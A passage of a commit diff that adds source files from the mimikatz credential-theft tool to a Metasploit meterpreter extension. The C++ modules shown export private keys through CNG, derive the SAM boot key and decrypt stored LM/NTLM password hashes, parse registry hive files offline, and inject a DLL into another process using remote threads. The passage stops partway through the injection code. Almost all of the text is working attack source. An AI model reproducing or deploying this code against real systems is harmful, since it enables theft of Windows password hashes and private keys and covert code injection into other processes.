K_NCryptFreeBuffer(pKeyName);
|
||||
}
|
||||
reussite = (retour == NTE_NO_MORE_ITEMS);
|
||||
|
||||
if(pEnumState)
|
||||
K_NCryptFreeBuffer(pEnumState);
|
||||
K_NCryptFreeObject(hProvider);
|
||||
}
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_cryptong::getHKeyFromName(wstring keyName, NCRYPT_KEY_HANDLE * keyHandle, bool isMachine)
|
||||
{
|
||||
bool reussite = false;
|
||||
NCRYPT_PROV_HANDLE hProvider;
|
||||
|
||||
if(K_NCryptOpenStorageProvider(&hProvider, /*MS_KEY_STORAGE_PROVIDER*/ NULL, 0) == ERROR_SUCCESS)
|
||||
{
|
||||
reussite = K_NCryptOpenKey(hProvider, keyHandle, keyName.c_str(), 0, (isMachine ? NCRYPT_MACHINE_KEY_FLAG : NULL)) == ERROR_SUCCESS;
|
||||
K_NCryptFreeObject(hProvider);
|
||||
}
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
|
||||
|
||||
bool mod_cryptong::getKeySize(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, DWORD * keySize)
|
||||
{
|
||||
DWORD tailleEcrite = 0;
|
||||
return ((K_NCryptGetProperty(*provOrCle, NCRYPT_LENGTH_PROPERTY, reinterpret_cast<BYTE *>(keySize), sizeof(DWORD), &tailleEcrite, 0) == 0) && tailleEcrite == sizeof(DWORD));
|
||||
}
|
||||
|
||||
|
||||
bool mod_cryptong::isKeyExportable(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, bool * isExportable)
|
||||
{
|
||||
bool reussite = false;
|
||||
DWORD tailleEcrite = 0, exportability = 0;
|
||||
|
||||
if(reussite = ((K_NCryptGetProperty(*provOrCle, NCRYPT_EXPORT_POLICY_PROPERTY, reinterpret_cast<BYTE *>(&exportability), sizeof(DWORD), &tailleEcrite, 0) == 0) && tailleEcrite == sizeof(DWORD)))
|
||||
{
|
||||
*isExportable =(exportability & NCRYPT_ALLOW_EXPORT_FLAG) != 0;
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_cryptong::getPrivateKey(NCRYPT_KEY_HANDLE maCle, PBYTE * monExport, DWORD * tailleExport, LPCWSTR pszBlobType)
|
||||
{
|
||||
SECURITY_STATUS monRetour = K_NCryptExportKey(maCle, NULL, pszBlobType, NULL, NULL, 0, tailleExport, 0);
|
||||
if(monRetour == ERROR_SUCCESS)
|
||||
{
|
||||
*monExport = new BYTE[*tailleExport];
|
||||
monRetour = K_NCryptExportKey(maCle, NULL, pszBlobType, NULL, *monExport, *tailleExport, tailleExport, 0);
|
||||
|
||||
if(monRetour != ERROR_SUCCESS)
|
||||
delete[] monExport;
|
||||
}
|
||||
SetLastError(monRetour);
|
||||
return (monRetour == ERROR_SUCCESS);
|
||||
}
|
||||
|
||||
|
||||
bool mod_cryptong::NCryptFreeObject(NCRYPT_HANDLE hObject)
|
||||
{
|
||||
return (K_NCryptFreeObject(hObject) == 0);
|
||||
}
|
@ -0,0 +1,24 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include <bcrypt.h>
|
||||
#include <sstream>
|
||||
|
||||
class mod_cryptong /* Ref : http://msdn.microsoft.com/en-us/library/aa376210.aspx */
|
||||
{
|
||||
public:
|
||||
static bool getVectorProviders(vector<wstring> * monVectorProviders);
|
||||
static bool getVectorContainers(vector<wstring> * monVectorContainers, bool isMachine = false);
|
||||
static bool getHKeyFromName(wstring keyName, NCRYPT_KEY_HANDLE * keyHandle, bool isMachine = false);
|
||||
static bool getKeySize(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, DWORD * keySize);
|
||||
static bool isKeyExportable(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, bool * isExportable);
|
||||
static bool getPrivateKey(NCRYPT_KEY_HANDLE maCle, PBYTE * monExport, DWORD * tailleExport, LPCWSTR pszBlobType = LEGACY_RSAPRIVATE_BLOB);
|
||||
static bool NCryptFreeObject(NCRYPT_HANDLE hObject);
|
||||
|
||||
static bool isNcrypt;
|
||||
static bool justInitCNG(LPCWSTR pszProviderName = NULL);
|
||||
};
|
150
c/meterpreter/source/extensions/mimikatz/modules/mod_hash.cpp
Normal file
150
c/meterpreter/source/extensions/mimikatz/modules/mod_hash.cpp
Normal file
@ -0,0 +1,150 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_hash.h"
|
||||
|
||||
PSYSTEM_FUNCTION_006 mod_hash::SystemFunction006 = reinterpret_cast<PSYSTEM_FUNCTION_006>(GetProcAddress(GetModuleHandle(L"advapi32"), "SystemFunction006"));
|
||||
PSYSTEM_FUNCTION_007 mod_hash::SystemFunction007 = reinterpret_cast<PSYSTEM_FUNCTION_007>(GetProcAddress(GetModuleHandle(L"advapi32"), "SystemFunction007"));
|
||||
PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING mod_hash::RtlUpcaseUnicodeStringToOemString = reinterpret_cast<PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlUpcaseUnicodeStringToOemString"));
|
||||
PRTL_INIT_UNICODESTRING mod_hash::RtlInitUnicodeString = reinterpret_cast<PRTL_INIT_UNICODESTRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString"));
|
||||
PRTL_FREE_OEM_STRING mod_hash::RtlFreeOemString = reinterpret_cast<PRTL_FREE_OEM_STRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlFreeOemString"));
|
||||
|
||||
bool mod_hash::lm(wstring * chaine, wstring * hash)
|
||||
{
|
||||
bool status = false;
|
||||
UNICODE_STRING maChaine;
|
||||
OEM_STRING maDestination;
|
||||
BYTE monTab[16];
|
||||
|
||||
RtlInitUnicodeString(&maChaine, chaine->c_str());
|
||||
if(NT_SUCCESS(RtlUpcaseUnicodeStringToOemString(&maDestination, &maChaine, TRUE)))
|
||||
{
|
||||
if(status = NT_SUCCESS(SystemFunction006(maDestination.Buffer, monTab)))
|
||||
hash->assign(mod_text::stringOfHex(monTab, sizeof(monTab)));
|
||||
|
||||
RtlFreeOemString(&maDestination);
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
bool mod_hash::ntlm(wstring * chaine, wstring * hash)
|
||||
{
|
||||
bool status = false;
|
||||
UNICODE_STRING maChaine;
|
||||
BYTE monTab[16];
|
||||
|
||||
RtlInitUnicodeString(&maChaine, chaine->c_str());
|
||||
if(status = NT_SUCCESS(SystemFunction007(&maChaine, monTab)))
|
||||
hash->assign(mod_text::stringOfHex(monTab, sizeof(monTab)));
|
||||
return status;
|
||||
}
|
||||
|
||||
void mod_hash::getBootKeyFromKey(BYTE bootkey[0x10], BYTE key[0x10])
|
||||
{
|
||||
BYTE permut[] = {0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04};
|
||||
for(unsigned int i = 0; i < 0x10; i++)
|
||||
bootkey[i] = key[permut[i]];
|
||||
}
|
||||
|
||||
bool mod_hash::getHbootKeyFromBootKeyAndF(BYTE hBootKey[0x10], BYTE bootKey[0x10], BYTE * AccountsF)
|
||||
{
|
||||
bool reussite = false;
|
||||
unsigned char qwe[] = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%";
|
||||
unsigned char num[] = "0123456789012345678901234567890123456789";
|
||||
|
||||
HCRYPTPROV hCryptProv = NULL;
|
||||
HCRYPTHASH hHash = NULL;
|
||||
if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT))
|
||||
{
|
||||
BYTE md5hash[0x10] = {0};
|
||||
DWORD dwHashDataLen = sizeof(md5hash);
|
||||
CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, &hHash);
|
||||
CryptHashData(hHash, AccountsF + 0x70, 0x10, 0);
|
||||
CryptHashData(hHash, qwe, sizeof(qwe), 0);
|
||||
CryptHashData(hHash, bootKey, 0x10, 0);
|
||||
CryptHashData(hHash, num, sizeof(num), 0);
|
||||
CryptGetHashParam(hHash, HP_HASHVAL, md5hash, &dwHashDataLen, 0);
|
||||
CryptDestroyHash(hHash);
|
||||
CryptReleaseContext(hCryptProv, 0);
|
||||
reussite = mod_crypto::genericDecrypt(AccountsF + 0x80, 0x10, md5hash, 0x10, CALG_RC4, hBootKey, 0x10);
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_hash::decryptHash(wstring * hash, BYTE * hBootKey, USER_V * userV, SAM_ENTRY * encHash, DWORD rid, bool isNtlm)
|
||||
{
|
||||
bool reussite = false;
|
||||
unsigned char ntpassword[] = "NTPASSWORD";
|
||||
unsigned char lmpassword[] = "LMPASSWORD";
|
||||
|
||||
BYTE obfkey[0x10];
|
||||
BYTE mes2CleDES[0x10];
|
||||
|
||||
if(encHash->lenght == 0x10 + 4)
|
||||
{
|
||||
HCRYPTPROV hCryptProv = NULL;
|
||||
HCRYPTHASH hHash = NULL;
|
||||
if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT))
|
||||
{
|
||||
BYTE md5hash[0x10] = {0};
|
||||
DWORD dwHashDataLen = 0x10;
|
||||
CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, &hHash);
|
||||
CryptHashData(hHash, hBootKey, 0x10, 0);
|
||||
CryptHashData(hHash, (BYTE *) &rid, sizeof(rid), 0);
|
||||
CryptHashData(hHash, isNtlm ? ntpassword : lmpassword, isNtlm ? sizeof(ntpassword) : sizeof(lmpassword), 0);
|
||||
CryptGetHashParam(hHash, HP_HASHVAL, md5hash, &dwHashDataLen, 0);
|
||||
CryptDestroyHash(hHash);
|
||||
|
||||
CryptReleaseContext(hCryptProv, 0);
|
||||
|
||||
if(mod_crypto::genericDecrypt(&(userV->datas) + encHash->offset + 4, 0x10, md5hash, 0x10, CALG_RC4, obfkey, 0x10))
|
||||
{
|
||||
sid_to_key1(rid, mes2CleDES);
|
||||
sid_to_key2(rid, mes2CleDES + 8);
|
||||
|
||||
reussite = mod_crypto::genericDecrypt(obfkey + 0, sizeof(obfkey) / 2, mes2CleDES + 0, sizeof(mes2CleDES) / 2, CALG_DES) &&
|
||||
mod_crypto::genericDecrypt(obfkey + 8, sizeof(obfkey) / 2, mes2CleDES + 8, sizeof(mes2CleDES) / 2, CALG_DES);
|
||||
}
|
||||
}
|
||||
}
|
||||
hash->assign(reussite ? mod_text::stringOfHex(obfkey, sizeof(obfkey)) : L"");
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
void mod_hash::str_to_key(BYTE *str, BYTE *key)
|
||||
{
|
||||
key[0] = str[0] >> 1;
|
||||
key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2);
|
||||
key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3);
|
||||
key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4);
|
||||
key[4] = ((str[3] & 0x0f) << 3) | (str[4] >> 5);
|
||||
key[5] = ((str[4] & 0x1f) << 2) | (str[5] >> 6);
|
||||
key[6] = ((str[5] & 0x3f) << 1) | (str[6] >> 7);
|
||||
key[7] = str[6] & 0x7f;
|
||||
for (DWORD i = 0; i < 8; i++)
|
||||
key[i] = (key[i] << 1);
|
||||
}
|
||||
|
||||
void mod_hash::sid_to_key1(DWORD sid, BYTE deskey[8])
|
||||
{
|
||||
unsigned char s[7];
|
||||
s[0] = s[4] = (unsigned char)((sid) & 0xff);
|
||||
s[1] = s[5] = (unsigned char)((sid >> 8) & 0xff);
|
||||
s[2] = s[6] = (unsigned char)((sid >>16) & 0xff);
|
||||
s[3] = (unsigned char)((sid >>24) & 0xff);
|
||||
str_to_key(s, deskey);
|
||||
}
|
||||
|
||||
void mod_hash::sid_to_key2(DWORD sid, BYTE deskey[8])
|
||||
{
|
||||
unsigned char s[7];
|
||||
|
||||
s[0] = s[4] = (unsigned char)((sid >>24) & 0xff);
|
||||
s[1] = s[5] = (unsigned char)((sid) & 0xff);
|
||||
s[2] = s[6] = (unsigned char)((sid >> 8) & 0xff);
|
||||
s[3] = (unsigned char)((sid >>16) & 0xff);
|
||||
str_to_key(s, deskey);
|
||||
}
|
81
c/meterpreter/source/extensions/mimikatz/modules/mod_hash.h
Normal file
81
c/meterpreter/source/extensions/mimikatz/modules/mod_hash.h
Normal file
@ -0,0 +1,81 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_text.h"
|
||||
#include "mod_crypto.h"
|
||||
|
||||
class mod_hash
|
||||
{
|
||||
private:
|
||||
static PSYSTEM_FUNCTION_006 SystemFunction006;
|
||||
static PSYSTEM_FUNCTION_007 SystemFunction007;
|
||||
static PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING RtlUpcaseUnicodeStringToOemString;
|
||||
static PRTL_INIT_UNICODESTRING RtlInitUnicodeString;
|
||||
static PRTL_FREE_OEM_STRING RtlFreeOemString;
|
||||
|
||||
public:
|
||||
typedef enum _KIWI_HASH_TYPE
|
||||
{
|
||||
LM,
|
||||
NTLM
|
||||
} KIWI_HASH_TYPE;
|
||||
|
||||
typedef struct _SAM_ENTRY {
|
||||
DWORD offset;
|
||||
DWORD lenght;
|
||||
DWORD unk;
|
||||
} SAM_ENTRY, *PSAM_SENTRY;
|
||||
|
||||
typedef struct _OLD_LARGE_INTEGER {
|
||||
unsigned long LowPart;
|
||||
long HighPart;
|
||||
} OLD_LARGE_INTEGER, *POLD_LARGE_INTEGER;
|
||||
|
||||
typedef struct _USER_F { // http://www.beginningtoseethelight.org/ntsecurity/index.php#D3BC3F5643A17823
|
||||
DWORD unk0_header;
|
||||
DWORD align;
|
||||
OLD_LARGE_INTEGER LastLogon;
|
||||
OLD_LARGE_INTEGER LastLogoff;
|
||||
OLD_LARGE_INTEGER PasswordLastSet;
|
||||
OLD_LARGE_INTEGER AccountExpires;
|
||||
OLD_LARGE_INTEGER PasswordMustChange;
|
||||
unsigned long UserId;
|
||||
unsigned long unk1;
|
||||
unsigned long UserAccountControl;
|
||||
} USER_F, *PUSER_F;
|
||||
|
||||
typedef struct _USER_V {
|
||||
SAM_ENTRY unk0;
|
||||
SAM_ENTRY Username;
|
||||
SAM_ENTRY Fullname;
|
||||
SAM_ENTRY Comment;
|
||||
SAM_ENTRY UserComment;
|
||||
SAM_ENTRY unk1;
|
||||
SAM_ENTRY Homedir;
|
||||
SAM_ENTRY Homedirconnect;
|
||||
SAM_ENTRY Scriptpath;
|
||||
SAM_ENTRY Profilepath;
|
||||
SAM_ENTRY Workstations;
|
||||
SAM_ENTRY HoursAllowed;
|
||||
SAM_ENTRY unk2;
|
||||
SAM_ENTRY LM;
|
||||
SAM_ENTRY NTLM;
|
||||
SAM_ENTRY unk3;
|
||||
SAM_ENTRY unk4;
|
||||
BYTE datas;
|
||||
} USER_V, *PUSER_V;
|
||||
|
||||
static bool lm(wstring * chaine, wstring * hash);
|
||||
static bool ntlm(wstring * chaine, wstring * hash);
|
||||
|
||||
static void getBootKeyFromKey(BYTE bootkey[0x10], BYTE key[0x10]);
|
||||
static bool getHbootKeyFromBootKeyAndF(BYTE hBootKey[0x10], BYTE bootKey[0x10], BYTE * AccountsF);
|
||||
static bool decryptHash(wstring * hash, BYTE * hBootKey, USER_V * userV, SAM_ENTRY * encHash, DWORD rid, bool isNtlm);
|
||||
static void str_to_key(BYTE *str, BYTE *key);
|
||||
static void sid_to_key1(DWORD sid, BYTE deskey[8]);
|
||||
static void sid_to_key2(DWORD sid, BYTE deskey[8]);
|
||||
};
|
242
c/meterpreter/source/extensions/mimikatz/modules/mod_hive.cpp
Normal file
242
c/meterpreter/source/extensions/mimikatz/modules/mod_hive.cpp
Normal file
@ -0,0 +1,242 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_hive.h"
|
||||
|
||||
mod_hive::nk_hdr* mod_hive::read_nk(nk_hdr *nk, hive *h, int offset )
|
||||
{
|
||||
memcpy(nk, h->base + offset + 4, sizeof(nk_hdr));
|
||||
nk->key_name = (h->base + offset + 4 + 76);
|
||||
return nk;
|
||||
}
|
||||
|
||||
mod_hive::lf_hdr* mod_hive::read_lf(lf_hdr *lf, hive *h, int offset )
|
||||
{
|
||||
memcpy(lf, h->base+offset+4, sizeof(lf_hdr));
|
||||
lf->hr = (h->base+offset+4+4);
|
||||
return lf;
|
||||
}
|
||||
|
||||
mod_hive::vk_hdr* mod_hive::read_vk(vk_hdr *vk, hive *h, int offset )
|
||||
{
|
||||
memcpy(vk, h->base+offset+4, sizeof(vk_hdr));
|
||||
vk->value_name = (h->base+offset+4+20);
|
||||
return vk;
|
||||
}
|
||||
|
||||
int* mod_hive::read_valuevector(int *value, hive *h, int offset, int size )
|
||||
{
|
||||
memcpy(value, h->base+offset+4, size*sizeof(int));
|
||||
return value;
|
||||
}
|
||||
|
||||
mod_hive::hashrecord* mod_hive::read_hr(hashrecord *hr, unsigned char *pos, int index )
|
||||
{
|
||||
pos+=(8*index);
|
||||
memcpy(hr, pos, sizeof(hashrecord));
|
||||
return hr;
|
||||
}
|
||||
|
||||
|
||||
unsigned char* mod_hive::read_data(hive *h, int offset )
|
||||
{
|
||||
return ((unsigned char*) (h->base + offset + 4));
|
||||
}
|
||||
|
||||
bool mod_hive::InitHive(hive *h)
|
||||
{
|
||||
h->base = NULL;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_hive::RegOpenHive(const wchar_t *filename, hive *h)
|
||||
{
|
||||
bool reussite = false;
|
||||
FILE *hiveh;
|
||||
unsigned long hsize;
|
||||
|
||||
if(_wfopen_s(&hiveh, filename, L"rb" ) == 0)
|
||||
{
|
||||
if(fseek(hiveh, 0, SEEK_END) == 0)
|
||||
{
|
||||
hsize = ftell(hiveh);
|
||||
h->base = new unsigned char[hsize];
|
||||
fseek(hiveh, 0, SEEK_SET);
|
||||
|
||||
if(fread(h->base, hsize, 1, hiveh) == 1)
|
||||
{
|
||||
reussite = *((int *)h->base) == 0x66676572;
|
||||
}
|
||||
}
|
||||
fclose(hiveh);
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_hive::RegCloseHive(hive *h )
|
||||
{
|
||||
if(h->base != NULL)
|
||||
{
|
||||
delete[] h->base;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
long mod_hive::parself(hive *h, char *t, unsigned long off )
|
||||
{
|
||||
nk_hdr *n;
|
||||
lf_hdr *l;
|
||||
hashrecord *hr;
|
||||
|
||||
int i;
|
||||
|
||||
hr = (hashrecord*) malloc(sizeof(hashrecord));
|
||||
n = (nk_hdr*) malloc(sizeof(nk_hdr));
|
||||
l = (lf_hdr*) malloc(sizeof(lf_hdr));
|
||||
l = read_lf(l, h, off );
|
||||
|
||||
for(i = 0; i < l->key_num; i++ )
|
||||
{
|
||||
hr = read_hr(hr, l->hr, i);
|
||||
n = read_nk(n, h, hr->nk_offset + 0x1000 );
|
||||
if(!memcmp( t, n->key_name, n->name_len ) && (strlen(t) == n->name_len))
|
||||
{
|
||||
free(n);
|
||||
free(l);
|
||||
return hr->nk_offset;
|
||||
}
|
||||
}
|
||||
free(n);
|
||||
free(l);
|
||||
return -1;
|
||||
}
|
||||
|
||||
bool mod_hive::RegGetRootKey(hive *h, string *root_key)
|
||||
{
|
||||
bool reussite = false;
|
||||
nk_hdr * n = new nk_hdr();
|
||||
read_nk(n, h, 0x1020);
|
||||
if (n->id == NK_ID && n->type == NK_ROOT)
|
||||
{
|
||||
root_key->assign((const char *) n->key_name, n->name_len);
|
||||
reussite = true;
|
||||
}
|
||||
delete n;
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_hive::RegOpenKey(hive *h, string * path, nk_hdr **nr)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
nk_hdr *n = new nk_hdr();
|
||||
char *t, *tpath;
|
||||
unsigned long noff = 0;
|
||||
|
||||
read_nk(n, h, 0x1020);
|
||||
|
||||
if(n->id == NK_ID && n->type == NK_ROOT)
|
||||
{
|
||||
tpath = strdup(path->c_str());
|
||||
t = strtok(tpath, "\\");
|
||||
|
||||
if(!memcmp(t, n->key_name, n->name_len))
|
||||
{
|
||||
t = strtok(NULL, "\\");
|
||||
while(t != NULL)
|
||||
{
|
||||
noff = parself(h, t, n->lf_off + 0x1000);
|
||||
if(noff != -1)
|
||||
{
|
||||
read_nk(n, h, noff + 0x1000);
|
||||
t = strtok( NULL, "\\" );
|
||||
}
|
||||
else
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(t == NULL && noff != 1)
|
||||
{
|
||||
memcpy(*nr, n, sizeof(nk_hdr));
|
||||
reussite = true;
|
||||
}
|
||||
}
|
||||
free(tpath);
|
||||
}
|
||||
|
||||
delete n;
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_hive::RegQueryValue(hive *h, string *name, nk_hdr *nr, unsigned char **buff, int *len )
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
vk_hdr *v = new vk_hdr();
|
||||
int * l = new int[nr->value_cnt];
|
||||
|
||||
read_valuevector(l, h, nr->value_off + 0x1000, nr->value_cnt);
|
||||
|
||||
for(unsigned int i = 0; i < nr->value_cnt; i++)
|
||||
{
|
||||
read_vk(v, h, l[i] + 0x1000);
|
||||
if((!memcmp(name->c_str(), v->value_name, name->size()) && v->name_len == name->size()) || (name == NULL && (v->flag & 1) == 0))
|
||||
{
|
||||
*len = v->data_len & 0x0000FFFF;
|
||||
*buff = new unsigned char[*len];
|
||||
if (*len < 5)
|
||||
{
|
||||
memcpy(*buff, &(v->data_off), *len);
|
||||
}
|
||||
else
|
||||
{
|
||||
memcpy(*buff, read_data(h, v->data_off + 0x1000), *len);
|
||||
}
|
||||
reussite = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
delete[] l;
|
||||
delete v;
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_hive::RegOpenKeyQueryValue(hive *h, string *path, string *name, unsigned char **buff, int *len)
|
||||
{
|
||||
bool reussite = false;
|
||||
mod_hive::nk_hdr * nodeKey = new mod_hive::nk_hdr();
|
||||
if(mod_hive::RegOpenKey(h, path, &nodeKey))
|
||||
{
|
||||
reussite = mod_hive::RegQueryValue(h, name, nodeKey, buff, len);
|
||||
}
|
||||
delete nodeKey;
|
||||
return reussite;
|
||||
}
|
||||
|
||||
|
||||
|
||||
bool mod_hive::RegEnumKey(hive *h, nk_hdr *nr, vector<string> * names)
|
||||
{
|
||||
int index = 0;
|
||||
|
||||
lf_hdr *lf = new lf_hdr();
|
||||
nk_hdr *nk = new nk_hdr();
|
||||
hashrecord *hr = new hashrecord();
|
||||
|
||||
while(index < nr->subkey_num)
|
||||
{
|
||||
lf = read_lf(lf, h, nr->lf_off + 0x1000 );
|
||||
hr = read_hr(hr, lf->hr, index);
|
||||
nk = read_nk(nk, h, hr->nk_offset + 0x1000 );
|
||||
names->push_back(string(reinterpret_cast<char *>(nk->key_name), nk->name_len));
|
||||
index++;
|
||||
}
|
||||
|
||||
delete lf, nk, hr;
|
||||
return !names->empty();
|
||||
}
|
88
c/meterpreter/source/extensions/mimikatz/modules/mod_hive.h
Normal file
88
c/meterpreter/source/extensions/mimikatz/modules/mod_hive.h
Normal file
@ -0,0 +1,88 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
using namespace std;
|
||||
|
||||
#define NK_ID 0x6B6E
|
||||
#define NK_ROOT 0x2c
|
||||
#define LF_ID 0x666C
|
||||
|
||||
class mod_hive
|
||||
{
|
||||
public:
|
||||
typedef struct _hive
|
||||
{
|
||||
unsigned char *base;
|
||||
} hive;
|
||||
|
||||
typedef struct _nk_hdr
|
||||
{
|
||||
short int id;
|
||||
short int type;
|
||||
int t1, t2;
|
||||
int unk1;
|
||||
int parent_off;
|
||||
int subkey_num;
|
||||
int unk2;
|
||||
int lf_off;
|
||||
int unk3;
|
||||
/* unsigned */
|
||||
unsigned int value_cnt;
|
||||
int value_off;
|
||||
int sk_off;
|
||||
int classname_off;
|
||||
int unk4[4];
|
||||
int unk5;
|
||||
short int name_len;
|
||||
short int classname_len;
|
||||
unsigned char *key_name;
|
||||
} nk_hdr;
|
||||
|
||||
typedef struct _hashrecord
|
||||
{
|
||||
int nk_offset;
|
||||
char keyname[4];
|
||||
} hashrecord;
|
||||
|
||||
typedef struct _lf_hdr
|
||||
{
|
||||
short int id;
|
||||
short int key_num;
|
||||
unsigned char *hr;
|
||||
} lf_hdr;
|
||||
|
||||
typedef struct _vk_hdr
|
||||
{
|
||||
short int id;
|
||||
short int name_len;
|
||||
int data_len;
|
||||
int data_off;
|
||||
int data_type;
|
||||
short int flag;
|
||||
short int unk1;
|
||||
unsigned char *value_name;
|
||||
} vk_hdr;
|
||||
|
||||
static bool InitHive(hive *h);
|
||||
static bool RegOpenHive(const wchar_t * filename, hive *h);
|
||||
static bool RegCloseHive(hive *h);
|
||||
static bool RegGetRootKey(hive *h, string *root_key);
|
||||
static bool RegOpenKey(hive *h, string *path, nk_hdr **nr);
|
||||
static bool RegQueryValue(hive *h, /*char *name*/ string *name, nk_hdr *nr, unsigned char **buff, int *len);
|
||||
static bool RegOpenKeyQueryValue(hive *h, string *path, string *name, unsigned char **buff, int *len);
|
||||
static bool RegEnumKey(hive *h, nk_hdr *nr, vector<string> * names);
|
||||
|
||||
static long parself(hive *h, char *t, unsigned long off);
|
||||
static unsigned char* read_data(hive *h, int offset);
|
||||
private:
|
||||
static nk_hdr* read_nk(nk_hdr *nk, hive *h, int offset);
|
||||
static lf_hdr* read_lf(lf_hdr *lf, hive *h, int offset);
|
||||
static vk_hdr* read_vk(vk_hdr *vk, hive *h, int offset);
|
||||
static hashrecord* read_hr(hashrecord *hr, unsigned char *pos, int index);
|
||||
static int* read_valuevector(int *value, hive *h, int offset, int size);
|
||||
|
||||
};
|
@ -0,0 +1,72 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_inject.h"
|
||||
|
||||
bool mod_inject::injectLibraryInHandle(const HANDLE & handleProcess, wstring * fullLibraryPath)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
wstring maLibComplete = L"";
|
||||
if(mod_system::getAbsolutePathOf(*fullLibraryPath, &maLibComplete))
|
||||
{
|
||||
bool fileExist = false;
|
||||
if(mod_system::isFileExist(maLibComplete, &fileExist) && fileExist)
|
||||
{
|
||||
SIZE_T szFullLibraryPath = static_cast<SIZE_T>((maLibComplete.size() + 1) * sizeof(wchar_t));
|
||||
|
||||
if(LPVOID remoteVm = VirtualAllocEx(handleProcess, NULL, szFullLibraryPath, MEM_COMMIT, PAGE_EXECUTE_READWRITE))
|
||||
{
|
||||
if(mod_memory::writeMemory(remoteVm, maLibComplete.c_str(), szFullLibraryPath, handleProcess))
|
||||
{
|
||||
PTHREAD_START_ROUTINE pThreadStart = reinterpret_cast<PTHREAD_START_ROUTINE>(GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW"));
|
||||
HANDLE hRemoteThread = INVALID_HANDLE_VALUE;
|
||||
|
||||
if(mod_system::GLOB_Version.dwMajorVersion > 5)
|
||||
{
|
||||
PRTL_CREATE_USER_THREAD RtlCreateUserThread = reinterpret_cast<PRTL_CREATE_USER_THREAD>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlCreateUserThread"));
|
||||
SetLastError(RtlCreateUserThread(handleProcess, NULL, 0, 0, 0, 0, pThreadStart, remoteVm, &hRemoteThread, NULL));
|
||||
}
|
||||
else
|
||||
{
|
||||
hRemoteThread = CreateRemoteThread(handleProcess, NULL, 0, pThreadStart, remoteVm, 0, NULL);
|
||||
}
|
||||
|
||||
if(hRemoteThread && hRemoteThread != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
WaitForSingleObject(hRemoteThread, INFINITE);
|
||||
reussite = true;
|
||||
CloseHandle(hRemoteThread);
|
||||
}
|
||||
}
|
||||
VirtualFreeEx(handleProcess, remoteVm, 0, MEM_RELEASE);
|
||||
}
|
||||
}
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_inject::injectLibraryInPid(const DWORD & pid, wstring * fullLibraryPath)
|
||||
{
|
||||
bool reussite = false;
|
||||
